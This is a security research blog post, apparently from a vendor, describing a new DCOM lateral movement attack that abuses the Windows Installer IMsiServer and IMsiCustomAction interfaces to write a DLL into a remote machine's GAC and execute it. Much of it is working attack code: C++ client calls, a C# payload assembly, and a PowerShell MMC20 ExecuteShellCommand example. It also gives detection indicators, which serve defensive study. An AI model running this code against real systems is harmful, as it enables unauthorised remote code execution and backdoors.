This article details a new DCOM lateral movement attack that enables the writing and execution of custom DLLs on target machines. By exploiting the IMsiServer COM interface, attackers can remotely execute arbitrary commands, effectively functioning as a backdoor. The research includes a proof-of-concept tool for demonstration.
- New DCOM lateral movement attack discovered using the IMsiServer COM interface.
- Attack allows writing and executing custom DLLs on target machines.
- Demonstrates a proof-of-concept tool for executing arbitrary commands remotely.
- Research highlights the potential for exploitation of undocumented DCOM objects.
- Emphasizes the need for improved defenses against such stealthy attacks.
- Remote File Copy (T1105): Transfers files to a remote system using DCOM methods.
- Remote Services (T1010): Utilizes remote services to execute commands on a target system.
- Application Layer Protocol (T1071): Uses application layer protocols for command and control.
Executive Summary
This blog post presents a powerful new DCOM lateral movement attack that allows the writing of custom DLLs to a target machine, loading them to a service, and executing their functionality with arbitrary parameters. This backdoor-like attack abuses the IMsiServer COM interface by reversing its internals. This process is described step-by-step in this blog. The research also includes a working POC tool to demonstrate the attack on the latest Windows builds.
Terminology
COM & DCOM
The Component Object Model (COM) is a Microsoft standard for creating binary software components that can interact. DCOM (Distributed COM) Remote Protocol extends the COM standard over a network using RPC by providing facilities for creating, activating, and managing objects found on a remote computer.
Objects, Classes & Interfaces
In COM, an object is an instance of compiled code that provides some service to the rest of the system. A COM object’s functionality depends on the interfaces its COM class implements.
The compiled code is defined as a COM class, which is identified by a globally unique Class ID (CLSID) that associates a class with its deployment in the file system, either DLL or EXE.
COM classes that can be remotely accessed (with DCOM) are identified with another globally unique identifier (GUID) – AppID.
A COM interface can be regarded as an abstract class. It specifies a contract that contains a set of methods that implementing classes must serve. All communication among COM components occurs through interfaces, and all services offered by a component are exposed through its interfaces, which can be represented with a globally unique Interface ID (IID). A COM class can implement several COM interfaces, and interfaces can be inherited from other interfaces.
COM Interface As a C++ Class
The C++ implementation of interfaces is done with classes. A C++ class is implemented as a struct, with its first member pointing to an array of member functions the class supports. This array is called a virtual table, or vtable for short.
DCOM Research History
Lateral movement through DCOM is a well-known “thing” in cybersecurity, dating back to 2017 when Matt Nelson revealed the first abuse of MMC20.Application::ExecuteShellCommand to run commands on remote systems. Using the research process Matt designed, researchers found more DCOM objects that expose an execution primitive on remote machines, among them:
-
ShellBrowserWindow revealing ShellExecuteW, Navigate, and Navigate2
-
Excel.Application revealing ExecuteExcel4Macro, RegisterXLL
-
Outlook.Application revealing CreateObject
The same research process was even automated, and it seemed like most of the DCOM attack surface was getting mapped thanks to it – as fewer attacks were revealed over time. In this blog post, I explain how I put the research process to the test to find a new DCOM lateral movement attack.
The Known Method to Research DCOM
Looking for a new DCOM lateral movement method follows the following steps:
-
Search AppIDs on the machine for entries that have default launch and access permissions
- James Forshaw’s OleView .NET tool correlates this data and other useful information
-
AppIDs found with the prior criteria represent DCOM objects that are remotely accessible for users with a local admin privilege
-
Explore suspected objects, traditionally with PowerShell, which gives easy access to object creation, displaying interface methods & properties, and invoking them
-
Repeat the prior step until a method that can run custom code has been located
Here I am applying those steps to implement the known MMC20.Application::ExecuteShellCommand lateral movement attack:
-
The AppID 7E0423CD-1119-0928-900C-E6D4A52A0715, which hosts the MMC20.Application class, has default permissions
-
The AppID mentioned above maps to the CLSID 49B2791A-B1AE-4C90-9B8E-E860BA07F889
-
Exploring the object created from said CLSID in PowerShell:
PS C:> $com = [Type]::GetTypeFromCLSID("49B2791A-B1AE-4C90-9B8E-E860BA07F889")
PS C:> $mmcApp = [System.Activator]::CreateInstance($com)
PS C:> Get-Member -InputObject $mmcApp
TypeName: System.__ComObject#{a3afb9cc-b653-4741-86ab-f0470ec1384c}
Name | MemberType | Definition |
Help | Method | void Help () |
Hide | Method | void Hide () |
Document | Property | Document Document () {get} |
-
Repeating the queries on discovered properties reveals the method ExecuteShellCommand which allows RCE
PS C:> Get-Member -InputObject $mmcApp.Document.ActiveView
TypeName: System.__ComObject#{6efc2da2-b38c-457e-9abb-ed2d189b8c38}
Name | MemberType | Definition |
Back | Method | void Back () |
Close | Method | void Close () |
ExecuteShellCommand | Method | void ExecuteShellCommand (string, string, string, string) |
-
Finally, we create a DCOM session and invoke the method we found to complete the attack.
<# MMCExec.ps1 #>
$com = [Type]::GetTypeFromCLSID("49B2791A-B1AE-4C90-9B8E-E860BA07F889", "TARGET.I.P.ADDR")
$mmcApp = [System.Activator]::CreateInstance($com)
$mmcApp.Document.ActiveView.ExecuteShellCommand("file.exe", "/c commandline", "c:filefolder",$null, 0)
The Query for a New Attack
Using this recipe, I started searching for a new DCOM lateral movement attack. Here are my findings:
-
AppID 000C101C-0000-0000-C000-000000000046 has default permissions, OleView .NET reveals the following details:
-
Hosted on the Windows Installer service (msiexec.exe)
-
Hosts a COM object named “Msi install server“ with a CLSID equal to the AppID
-
The object exposes an interface named IMsiServer, with an IID equal to the AppID
-
The class and interface are implemented in msi.dll (pointed from ProxyStubClsid32 registry key)
-
The name of the object and its location within the installer service piqued my interest, so I continued to query its methods with PowerShell:
PS C:> $com = [Type]::GetTypeFromCLSID("000C101C-0000-0000-C000-000000000046")
PS C:> $obj = [System.Activator]::CreateInstance($com)
PS C:> Get-Member -InputObject $obj
TypeName: System.__ComObject
Name | MemberType | Definition |
CreateObjRef | Method |
System.Runtime.Remoting.ObjRef CreateObjRef(type requestedType) |
Equals | Method | boot Equals (System.Object obj) |
GetHashCode | Method | int GetHashCode() |
The results describe generic .NET object methods, and the “TypeName” field does not point to the IMsiServer IID. This means the PowerShell runtime failed to query information on the IMsiServer object; we can’t search for an attack this way.
The difference between the successful example of our MMC20.Application and our current IMsiServer is the IDispatch interface, which the former implements and the latter does not.
IDispatch
IDispatch is a fundamental COM interface, that allows scripting languages (VB, PowerShell) and higher-level languages (.NET) to interact with COM objects that implement it without prior knowledge. It achieves this by exposing unified methods that describe and interact with the implementing object. Among those methods are:
-
IDispatch::GetIDsOfNames maps names of methods or properties to an integer value named DISPID.
-
IDispatch::Invoke calls one of the object’s methods according to a DISPID.
All of the known DCOM lateral movement attacks are built on documented IDispatch-based interfaces, allowing easy interaction through PowerShell. The ease of interacting with IDispatch interfaces blinded the security community to a large portion of possible attacks.
To solve this issue and further our research with IMsiServer, which lacks documentation and does not support IDispatch, we need to design an alternative approach that does not depend on PowerShell.
Reversing Interface Definitions
To learn more about IMsiServer, we must inspect the DLL containing the interface definition – msi.dll:
-
Using IDA and searching msi.dll for the hex bytes representing the IID of IMsiServer – 1C 10 0C 00 00 00 00 00 C0 00 00 00 00 00 00 46 we find a symbol named IID_IMsiServer.
-
Cross referencing IID_IMsiServer, we find CMsiServerProxy::QueryInterface, which is a part of the client’s implementation for the IMsiServer interface.
-
Cross referencing CMsiServerProxy::QueryInterface reveals the interface’s vtable in the .rdata section:
With this data and some extra definitions, I recreated the IMsiServer Interface:
struct IMsiServer : IUnknown
{
virtual iesEnum InstallFinalize( iesEnum iesState, void* riMessage, boolean fUserChangedDuringInstall) = 0;
virtual IMsiRecord* SetLastUsedSource( const ICHAR* szProductCode, const wchar_t* szPath, boolean fAddToList, boolean fPatch) = 0;
virtual boolean Reboot() = 0;
virtual int DoInstall( ireEnum ireProductCode, const ICHAR* szProduct, const ICHAR* szAction,const ICHAR* szCommandLine, const ICHAR* szLogFile,int iLogMode, boolean fFlushEachLine, IMsiMessage* riMessage, iioEnum iioOptions , ULONG, HWND__*, IMsiRecord& ) = 0;
virtual HRESULT IsServiceInstalling() = 0;
virtual IMsiRecord* RegisterUser( const ICHAR* szProductCode, const ICHAR* szUserName,const ICHAR* szCompany, const ICHAR* szProductID) = 0;
virtual IMsiRecord* RemoveRunOnceEntry( const ICHAR* szEntry) = 0;
virtual boolean CleanupTempPackages( IMsiMessage& riMessage, bool flag) = 0;
virtual HRESULT SourceListClearByType(const ICHAR* szProductCode, const ICHAR*, isrcEnum isrcType) = 0;
virtual HRESULT SourceListAddSource( const ICHAR* szProductCode, const ICHAR* szUserName, isrcEnum isrcType,const ICHAR* szSource) = 0 ;
virtual HRESULT SourceListClearLastUsed( const ICHAR* szProductCode, const ICHAR* szUserName) = 0;
virtual HRESULT RegisterCustomActionServer( icacCustomActionContext* picacContext, const unsigned char* rgchCookie, const int cbCookie, IMsiCustomAction* piCustomAction, unsigned long* dwProcessId, IMsiRemoteAPI** piRemoteAPI, DWORD* dwPrivileges) = 0;
virtual HRESULT CreateCustomActionServer( const icacCustomActionContext icacContext, const unsigned long dwProcessId, IMsiRemoteAPI* piRemoteAPI,const WCHAR* pvEnvironment, DWORD cchEnvironment, DWORD dwPrivileges, char* rgchCookie, int* cbCookie, IMsiCustomAction** piCustomAction, unsigned long* dwServerProcessId,DWORD64 unused1, DWORD64 unused2) = 0;
[snip]
}
Remote Installations?
The DoInstall function immediately stands out as a promising candidate to perform lateral movement – installing an MSI on a remote machine. However, an inspection of its server-side implementation at CMsiConfigurationManager::DoInstall shows it isn’t possible remotely:
// Simplified pseudo code
CMsiConfigurationManager::DoInstall([snip])
{
[snip]
if (!OpenMutexW(SYNCHRONIZE, 0, L"Global_MSIExecute"))
return ERROR_INSTALL_FAILURE;
[snip]
}
This code means when invoking a DCOM call for IMsiServer::DoInstall, the remote server will check the existence of a mutex named Global_MSIExecute. This mutex is not open by default, thus the call will fail.
Msi.dll creates this mutex from functions inaccessible to our IMsiServer interface, so we must find a different function to abuse IMsiServer.
Remote Custom Actions
My second candidate for abuse is:
HRESULT IMsiServer::CreateCustomActionServer(
const icacCustomActionContext icacContext,
const unsigned long dwProcessId,
IMsiRemoteAPI* piRemoteAPI,
const WCHAR* pvEnvironment,
DWORD cchEnvironment,
DWORD dwPrivileges,
char* rgchCookie,
int* cbCookie,
IMsiCustomAction** piCustomAction,
unsigned long* dwServerProcessId,
bool unkFalse);
It creates the output COM object- IMsiCustomAction** piCustomAction, which, according to its name, can invoke a “custom action” on my remote target.
Reversing the server-side code in CMsiConfigurationManager::CreateCustomActionServer we learn it impersonates the DCOM client and creates a child MSIEXEC.exe with its identity, which hosts the result IMsiCustomAction** piCustomAction
Searching msi.dll for symbols on IMsiCustomAction reveals its IID:
Using the symbol to perform the same cross-reference we did to discover IMsiServer, we can recreate IMsiCustomAction’s interface definition:
IID IID_IMsiCustomAction = { 0x000c1025,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} };
// Interface is trimmed for simplicty
struct IMsiCustomAction : IUnknown
{
virtual HRESULT PrepareDLLCustomAction(ushort const *,ushort const *,ushort const *,ulong,uchar,uchar,_GUID const *,_GUID const *,ulong *)=0;
virtual HRESULT RunDLLCustomAction(ulong,ulong *) = 0;
virtual HRESULT FinishDLLCustomAction(ulong) = 0;
virtual HRESULT RunScriptAction(int,IDispatch *,ushort const *,ushort const *,ushort,int *,int *,char * *) = 0;
[snip]
virtual HRESULT URTAddAssemblyInstallComponent(ushort const*,ushort const*, ushort const*) = 0;
virtual HRESULT URTIsAssemblyInstalled(ushort const*, ushort const*, int*, int*, char**) = 0;
virtual HRESULT URTProvideGlobalAssembly(ushort const*, ulong, ulong*) = 0;
virtual HRESULT URTCommitAssemblies(ushort const*, int*, char**) = 0;
virtual HRESULT URTUninstallAssembly(ushort const*, ushort const*, int*, char**) = 0;
virtual HRESULT URTGetAssemblyCacheItem(ushort const*, ushort const*, ulong, int*, char**) = 0;
virtual HRESULT URTCreateAssemblyFileStream(ushort const*, int) = 0;
virtual HRESULT URTWriteAssemblyBits(char *,ulong,ulong *) = 0;
virtual HRESULT URTCommitAssemblyStream() = 0;
[snip]
virtual HRESULT LoadEmbeddedDLL(ushort const*, uchar) = 0;
virtual HRESULT CallInitDLL(ulong,ushort const *,ulong *,ulong *) = 0;
virtual HRESULT CallMessageDLL(UINT, ulong, ulong*) = 0;
virtual HRESULT CallShutdownDLL(ulong*) = 0;
virtual HRESULT UnloadEmbeddedDLL() = 0;
[snip]
};
With names like RunScriptAction and RunDLLCustomAction it seems like IMsiCustomAction might be our treasure trove. But, before we open it, we have to first create it with a DCOM call to IMsiServer::CreateCustomActionServer. Let’s build our attack client:
// Code stripped from remote connection and ole setupCOSERVERINFO coserverinfo = {};
coserverinfo.pwszName = REMOTE_ADDRESS;
coserverinfo.pAuthInfo = pAuthInfo_FOR_REMOTE_ADDRESS;
CLSID CLSID_MsiServer = { 0x000c101c,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} };
IID IID_IMsiServer = CLSID_MsiServer;
MULTI_QI qi ={};
qi.pIID = &IID_IMsiServer; // the interface we aim to get
HRESULT hr = CoCreateInstanceEx(CLSID_MsiServer, NULL, CLSCTX_REMOTE_SERVER, &coserverinfo, 1, &qi) ;
IMsiServer* pIMsiServerObj = qi.pItf;
At this point pIMsiServerObj points to our client IMsiServer interface. Now we need to create the correct arguments for IMsiServer::CreateCustomActionServer
Notable arguments:
-
dwProcessId is expected to contain the client PID and is treated as a local PID on the server side. If we provide our true client PID, the server side will fail to find it on the remote target and the call will fail. We can trick this check and set dwProcessId=4, pointing to the always-existing System process
-
PiRemoteAPI, which should point to an IMsiRemoteAPI instance, is the trickiest to initialize. Searching through symbols from msi.dll gives us the IID of that interface
IID IID_IMsiRemoteApi = { 0x000c1033,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} };
However, because CLSID_MSISERVER does not implement IID_IMsiRemoteApi, we can’t directly create it with a call to:
HRESULT hr = CoCreateInstance(CLSID_MSISERVER, NULL, CLSCTX_INPROC_SERVER, IID_IMsiRemoteApi ,&piRemoteAPI) ;
Discovering An Implementing CLSID
Heads up: this section covers a technical reverse-engineering process. We will demonstrate how to correctly invoke IMsiServer::CreateCustomActionServer. If you’re not interested in the detailed drill-down, feel free to skip to “The Secured Actions.”
To create an instance of IMsiRemoteApi we need to find the CLSID of the class that implements it. We’ll start by searching for a symbol named CLSID_MsiRemoteApi in msi.dll. However, this time no results are returned:
We are left trying to trace where IID_IMsiRemoteApi is created within msi.dll, using cross-references:
-
Cross-referencing IID_IMsiRemoteApi, we find CMsiRemoteAPI::QueryInterface, which is part of the IMsiRemoteApi interface
-
Searching CMsiRemoteAPI::QueryInterface leads to IMsiRemoteApi’s vtable in the .rdata section, which is marked with a symbol named ??_7CMsiRemoteAPI@@6B@:
-
Searching ??_7CMsiRemoteAPI@@6B@ leads to CMsiRemoteAPI::CMsiRemoteAPI, which is the constructor for IMsiRemoteApi instances
-
Searching the constructor leads to CreateMsiRemoteAPI, a factory method that invokes it
-
Searching the factory method shows it’s the 9th element in an array of factory methods named rgFactory, which are located in the .rdata section:
-
Searching usages of rgFactory shows it’s used in CModuleFactory::CreateInstance:
We can see that CModuleFactory::CreateInstance pulls a method from rgFactory at an index and invokes it to create an object and return it with outObject.
This will happen if, at the same index, a GUID pulled from rgCLSID (green line in the snippet) is equal to the input argument _GUID *inCLSID.
rgCLSID is a global variable that points to a CLSID array in the .rdata section
The 9th element in this array, which will cause invocation of CreateMsiRemoteAPI (the 9th member of rgFactory), is the CLSID:
CLSID CLSID_MsiRemoteApi = { 0x000c1035,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} };
This means that if CModuleFactory::CreateInstance is invoked with a CLSID_MsiRemoteApi, it will create our desired instance of IMsiRemoteAPI* piRemoteAPI.
We are now left with a task to invoke CModuleFactory::CreateInstance from our client code.
IClassFactory
While CModuleFactory::CreateInstance is not a public export, cross-referencing it leads to CModuleFactory‘s vtable:
The first method in the vtable is a QueryInterface implementation, which means CModuleFactory is an interface implementation. The next two Nullsubs are empty implementations of IUnkown::AddRef & IUnkown::Release, and the next two methods are:
-
CreateInstance (which we reversed)
-
LockServer
Searching those methods in MSDN reveals IClassFactory, an interface that defines a factory design pattern for COM object creation in implementing DLLs. The functionality of this interface is accessed through a method called DllGetClassObject, which is exported by the implementing DLLs, including msi.dll.
This is how we invoke msi.dll!DllGetClassObject to create our target IMsiRemoteAPI* piRemoteAPI:
// code stripped from error handling
typedef HRESULT(*DllGetClassObjectFunc)(
REFCLSID rclsid,
REFIID riid,
LPVOID* ppv
);
// we dont need the definition of IMsiRemoteApi if we just want to instantiate it
typedef IUnknown IMsiRemoteApi;
HMODULE hmsi = LoadLibraryA("msi.dll");
IClassFactory* pfact;
IUnknown* punkRemoteApi;
IMsiRemoteApi* piRemoteAPI;
DllGetClassObjectFunc DllGetClassObject = (DllGetClassObjectFunc)GetProcAddress(hdll, "DllGetClassObject");
// creating the CLSID_MsiRemoteApi class
HRESULT hr = DllGetClassObject(CLSID_MsiRemoteApi, IID_IClassFactory, (PVOID*)&pfact);
// piRemoteAPI initilized to IMsiRemoteApi*
hr = pfact->CreateInstance(NULL, CLSID_MsiRemoteApi, (PVOID*)&punkMsiRemoteApi);
hr = punkMsiRemoteApi->QueryInterface(IID_IMsiRemoteApi, reinterpret_cast<void**>(piRemoteAPI));
We can now invoke IMsiServer::CreateCustomActionServer to create the target IMsiCustomAction** piCustomAction instance:
IMsiRemoteAPI* pRemApi = // created above;
const int cookieSize = 16; // a constant size CreateCustomActionServer anticipates
icacCustomActionContext icacContext = icac64Impersonated; // an enum value
const unsigned long fakeRemoteClientPid = 4;
unsigned long outServerPid = 0;
IMsiCustomAction* pMsiAction = nullptr; // CreateCustomActionServer's output
int iRemoteAPICookieSize = cookieSize;
char rgchCookie[cookieSize];
WCHAR* pvEnvironment = GetEnvironmentStringsW();
DWORD cEnv = GetEnvironmentSizeW(pvEnvironment);
HRESULT msiresult = pIMsiServerObj->CreateCustomActionServer(icacContext, fakeRemoteClientPid, pRemApi, pvEnvironment, cEnv, 0, rgchCookie, &iRemoteAPICookieSize, &pMsiAction,&outServerPid,0, 0);
The Secured Actions
Our newly created IMsiCustomAction* pMsiAction allows us to run “custom actions” from a remote MSIEXEC.EXE process, and now our focus is finding a method from IMsiCustomAction that can execute code – giving us a new lateral movement technique.
As we have seen before, IMsiCustomAction contains a couple of promising function names like RunScriptAction and RunDLLCustomAction
Reversing these functions shows that they allow loading and running an export from a DLL of our liking or executing in-memory custom script contents (VBS or JS)! Seems too good to be true? It is.
Windows prevents this functionality from being invoked in a remote DCOM context, with a simple check at the start of these functions:
if(RPCRT4::I_RpcBindingInqLocalClientPID(0, &OutLocalClientPid)&&
OutLocalClientPid != RegisteredLocalClientPid)
{
return ERROR_ACCESS_DENIED;
}
It turns out I_RpcBindingInqLocalClientPID fails when a client is remote (during a DCOM session), and we are blocked.
We need to look for functions where this security check does not exist.
Unsecured Load Primitive
We will now focus our search on unsecured IMsiCustomAction methods by cross-referencing usages of I_RpcBindingInqLocalClientPID and exploring functions of IMsiCustomAction that don’t use it.
The next function that meets this criterion is IMsiCustomAction::LoadEmbeddedDll(wchar_t const* dllPath, bool debug);.
Reversing this function reveals:
-
LoadEmbeddedDLL invokes Loadlibrary on the dllPath parameter and saves its handle.
-
Attempts to resolve three exports from dllPath and saves their address.
-
InitializeEmbeddedUI
-
ShutdownEmbeddedUI
-
EmbeddedUIHandler
-
-
LoadEmbeddedDLL will not fail on non-existing exports
Testing confirms that we have a remote load primitive on every DLL on the remote system!
// Loads any DLL path into the remote MSIEXEC.exe instance hosting pMsiAction
pMsiAction->LoadEmbeddedDLL(L"C:WindowsSystem32wininet.dll",false);
Is this enough for lateral movement? Not on its own. Simply loading a benign pre-existing DLL from the target system’s HD does not give us control over the code the DLL runs at load time.
However, if we could remotely write a DLL to the machine and provide its path to LoadEmbeddedDLL we would find a full attack.
Some attacks delegate responsibility after finding such a primitive and suggest separately writing a payload to the machine with SMB access. However, this type of access is very noisy, and usually blocked.
Using IMsiCustomAction I aim to find a self-sufficient write primitive to the remote machine’s HD.
A Remote Write Primitive
A combination of function names in the IMsiCustomAction interface leads me to believe a remote write primitive is possible:
-
IMsiCustomAction::URTCreateAssemblyFileStream
-
IMsiCustomAction::URTWriteAssemblyBits
Reversing IMsiCustomAction::URTCreateAssemblyFileStream shows a couple of initializing functions must run before it.
The following sequence will allow us to create a file stream, write to it, and commit it:
1. The below function will initialize data required for invoking the next function
HRESULT IMsiCustomAction::URTAddAssemblyInstallComponent(
wchar_t const* UserDefinedGuid1,
wchar_t const* UserDefinedGuid2,
wchar_t const* UserDefinedName);
2. The following function creates an internal instance of IAssemblyCacheItem*, a documented object that manages a file stream
HRESULT IMsiCustomAction::URTGetAssemblyCacheItem(
wchar_t const* UserDefinedGuid1,
wchar_t const* UserDefinedGuid2,
ulong zeroed,
int* pInt,
char** pStr);
3. Then URTCreateAssemblyFileStream invokes IAssemblyCacheItem::CreateStream and creates an instance of IStream* with the parameters provided above. The future file’s name will be FileName. It will save the IStream* to an internal variable.
HRESULT IMsiCustomAction::URTCreateAssemblyFileStream(
wchar_t const* FileName,
int Format);
4. The function below invokes IStream::Write to write the number of bytes specified in ulong cb from const char* pv to the file stream and returns the number of bytes written in pcbWritten.
HRESULT IMsiCustomAction::URTWriteAssemblyBits(
const char* pv,
ulong cb, ulong* pcbWritten);
5. Finally, the following function commits the Stream contents to a new file, using IStream::Commit.
HRESULT IMsiCustomAction::URTCommitAssemblyStream();
We’ll prepare a dummy payload.dll, and upload it to the target machine with the prior function sequence:
char* outc = nullptr;
int outi = 0;
LPCWSTR mocGuid1 = L"{13333337-1337-1337-1337-133333333337}";
LPCWSTR mocGuid2 = L"{13333338-1338-1338-1338-133333333338}";
LPCWSTR asmName = L"payload.dll";
LPCWSTR assmblyPath = L"c:localpathtoyourpayload.dll";
hr = pMsiAction->URTAddAssemblyInstallComponent(mocGuid1, mocGuid2, asmName);
hr = pMsiAction->URTGetAssemblyCacheItem(mocGuid1, mocGuid2, 0,&outi ,&outc);
hr = pMsiAction->URTCreateAssemblyFileStream(assmblyPath, STREAM_FORMAT_COMPLIB_MANIFEST);
HANDLE hAsm = CreateFileW(assmblyPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD asmSize, sizeRead;
GetFileSize(hAsm, NULL);
char* content = new char[asmSize];
readStatus = ReadEntireFile(hAsm, asmSize, &sizeRead, content);
ulong written = 0;
hr = pMsiAction->URTWriteAssemblyBits(content, asmSize, &written);
hr = pMsiAction->URTCommitAssemblyStream();
The entire sequence succeeds; however, we get no indication of where payload.dll was written.
Searching the remote machine for a file named payload.dll reveals its path:
Re-running our code generates payload.dll in a similar path:
The format of those paths is C:assemblytmp[RANDOM_8_LETTERS]payload.dll. Since RANDOM_8_LETTERS cannot be predicted we can’t just follow up with a call to our load primitive IMsiCustomAction::LoadEmbeddedDll on the said path.
We need to find a way to put our payload.dll in a predictable path, and IMsiCustomAction hooks us up yet again
Controlling The Path
The next method we reverse is IMsiCustomAction::URTCommitAssemblies and we find out it uses the documented function IAssemblyCacheItem::Commit on the stream:
This function installs a .NET assembly to the Global Assembly Cache (GAC), under a predictable path within C:WindowsMicrosoft.NETassemblyGAC*. This makes using IMsiCustomAction::URTCommitAssemblies our new goal.
Assemblies stored in the GAC must be identified with a strong name – a signature created with a public-private key pair that ensures the uniqueness of the assembly.
Considering this, with our goal to successfully use URTCommitAssemblies and plant our payload in a predictable path, we will change payload.dll to a .NET assembly DLL with a strong name:
// example x64 dummy POC for .NET payload.dll
// a strong name should be set for the dll in the VS compilation settings
namespace payload
{
public class Class1
{
public static void DummyNotDLLMain()
{
}
}
}
We update our code to use IMsiCustomAction::URTCommitAssemblies on the new payload and re-run it:
HRESULT URTCommitAssemblies(wchar_t const* UserDefinedGuid1, int* pInt, char** pStr);
int outIntCommit = 0;
char* outCharCommit = nullptr;
// mocGuid1 is the same GUID we created for invoking URTAddAssemblyInstallComponent
hr = pMsiAction->URTCommitAssemblies(mocGuid1, &outIntCommit, &outCharCommit);
Payload.dll is now uploaded to:
Analyzing each token on this path with accordance to payload.dll’s strong name details, we derive the GAC path structure for installed assemblies (valid for .NET version => 4):
C:WindowsMicrosoft.NETassemblyGAC_[assembly_bitness][assembly_name]v4.0_[assembly_version]__[public_key_token][assembly_name].dll
Getting those details from a strong-named DLL can be done using sigcheck.exe (Sysinternals) and sn.exe (.NET Framework tools)
We have managed to install an assembly DLL to a predictable path in the GAC and figure out the path structure. Let’s now incorporate our efforts into the attack:
// resuming from our last code snippets
// our payload is the dummy .NET payload.dll
// URTCommitAssemblies commits payload.dll to the GAC
hr = pMsiAction->URTCommitAssemblies(mocGuid1, &outIntCommit, &outCharCommit);
std::wstring payload_bitness = L"64"; // our payload is x64
std::wstring payload_version = L"1.0.0.0"; // sigcheck.exe -n payload.dll
std::wstring payload_assembly_name = L"payload";
std::wstring public_key_token = L"136e5fbf23bb401e"; // sn.exe -T payload.dll
// forging all elements to the GAC path
std::wstring payload_gac_path = std::format(L"C:WindowsMicrosoft.NETassemblyGAC_{0}{1}v4.0_{2}__{3}{1}.dll", payload_bitness, payload_assembly_name, payload_version,public_key_token);
hr = pMsiAction->LoadEmbeddedDLL(payload_gac_path.c_str(), 0);
The updated attack code runs successfully, and to confirm our payload was loaded to the remote MSIEXEC.exe we break into it in Windbg and query:
Success! But we’re not quite done yet, as .NET assemblies do not have “DllMain” functionality on native processes, so no code is running. There are a couple of possible workarounds, but our solution will be adding an export to our payload.dll assembly. As for calling this export, IMsiCustomAction has us covered once more.
Running .NET Exports
As I’ve mentioned, IMsiCustomAction::LoadEmbeddedDLL attempts to resolve some exports after loading a requested DLL and saves the results. When searching for code using the address of the results, we reveal three IMsiCustomAction methods, each invoking a respective export from the loaded DLL:
-
IMsiCustomAction::CallInitDLL invokes InitializeEmbeddedUI
-
IMsiCustomAction::CallShutdownDLL invokes ShutdownEmbeddedUI
- IMsiCustomAction::CallMessageDLL invokes EmbeddedUIHandler
Each method provides different arguments to the respective export, and we will use IMsiCustomAction::CallInitDLL which provides the richest argument set:
HRESULT CallInitDLL(ulong intVar, PVOID pVar, ulong* pInt, ulong* pInitializeEmbeddedUIReturnCode);
// CallInitDLL calls InitializeEmbeddedUI with the following args:
DWORD InitializeEmbeddedUI(ulong intVar, PVOID pVar, ulong* pInt)
The combination of ulong intVar and PVOID pVar allows us great flexibility running our payload. For example, PVOID pVar can point to a shellcode our payload will execute, and ulong intVar will be its size.
For this POC, we will create a simple implementation of InitializeEmbeddedUI in our payload.dll that displays a message box with attacker-controlled content.
We’ll export InitializeEmbeddedUI from our assembly to a native caller (msi.dll) with the “.export” IL descriptor
We can now present the final POC of payload.dll:
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using RGiesecke.DllExport; // [DllExport] wraps ".export"
namespace payload
{
public class Class1
{
[DllImport("wtsapi32.dll", SetLastError = true)]
static extern bool WTSSendMessage(IntPtr hServer, [MarshalAs(UnmanagedType.I4)] int SessionId, String pTitle, [MarshalAs(UnmanagedType.U4)] int TitleLength, String pMessage, [MarshalAs(UnmanagedType.U4)] int MessageLength, [MarshalAs(UnmanagedType.U4)] int Style, [MarshalAs(UnmanagedType.U4)] int Timeout, [MarshalAs(UnmanagedType.U4)] out int pResponse, bool bWait);
[DllExport]
public static int InitializeEmbeddedUI(int messageSize,[MarshalAs(UnmanagedType.LPStr)] string attackerMessage, IntPtr outPtr)
{
string title = "MSIEXEC - GAC backdoor installed";
IntPtr WTS_CURRENT_SERVER_HANDLE = IntPtr.Zero;
// The POC will display a message to the first logged on user in the target
int WTS_CURRENT_SESSION = 1;
int resp = 1;
// Using WTSSendMessage to create a messagebox form a service process at the users desktop
WTSSendMessage(WTS_CURRENT_SERVER_HANDLE, WTS_CURRENT_SESSION, title, title.Length, attackerMessage, messageSize, 0, 0, out resp, false);
return 1337;
}
}
}
And the final lines of our DCOM Upload & Execute attack:
// runs after our call to pMsiAction->LoadEmbeddedDLL, loading our payload assembly
ulong ret1, ret2;
std::string messageToVictim = "Hello from DCOM Upload & Execute";
hr = pMsiAction->CallInitDLL(messageToVictim.length(), (PVOID)messageToVictim.c_str(), &ret1, &ret2);
Running the complete attack code will pop a message box on the remote target PC:
For the full source code: https://github.com/deepinstinct/DCOMUploadExec
Limitations
-
The attacker and victim machines must be in the same domain or forest.
-
The attacker and victim machines must be consistent with the DCOM Hardening patch, either with the patch applied on both systems or absent on both.
-
The uploaded & executed assembly payload must have a strong name
- The uploaded & executed assembly payload must be either x86 or x64 (Can’t be AnyCPU)
Detection
This attack leaves clear IOCs that can be detected and blocked
-
Event logs that contain remote authentication data:
- An MSIEXEC service that creates a child (the custom action server) with the command line pattern C:WindowsSystem32MsiExec.exe -Embedding [HEXEDICAMAL_CHARS]
- The child MSIEXEC writes a DLL to the GAC
- The child MSIEXEC loads a DLL from the GAC
Summary
Until now, DCOM lateral movement attacks have been exclusively researched on IDispatch-based COM objects due to their scriptable nature. This blog post presents a complete method for researching COM and DCOM objects without depending on their documentation or whether they implement IDispatch.
Using this method, we expose “DCOM Upload & Execute,” a powerful DCOM lateral movement attack that remotely writes custom payloads to the victim’s GAC, executes them from a service context, and communicates with them, effectively functioning as an embedded backdoor.
The research presented here proves that many unexpected DCOM objects may be exploitable for lateral movement, and proper defenses should be aligned.
If you are concerned about these stealthy attacks breaching your environment, request a demo to learn how Deep Instinct prevents what other vendors can’t find using the only deep learning framework in the world built from the ground up for cybersecurity.
References
-
https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
-
https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
-
https://github.com/tyranid/oleviewdotnet
-
https://securityboulevard.com/2023/10/lateral-movement-abuse-the-power-of-dcom-excel-application/
-
https://www.cybereason.com/blog/dcom-lateral-movement-techniques
-
https://learn.microsoft.com/en-us/windows/win32/api/unknwn/nn-unknwn-iclassfactory
-
https://blog.xpnsec.com/rundll32-your-dotnet/
-
https://www.nuget.org/packages/UnmanagedExports
-
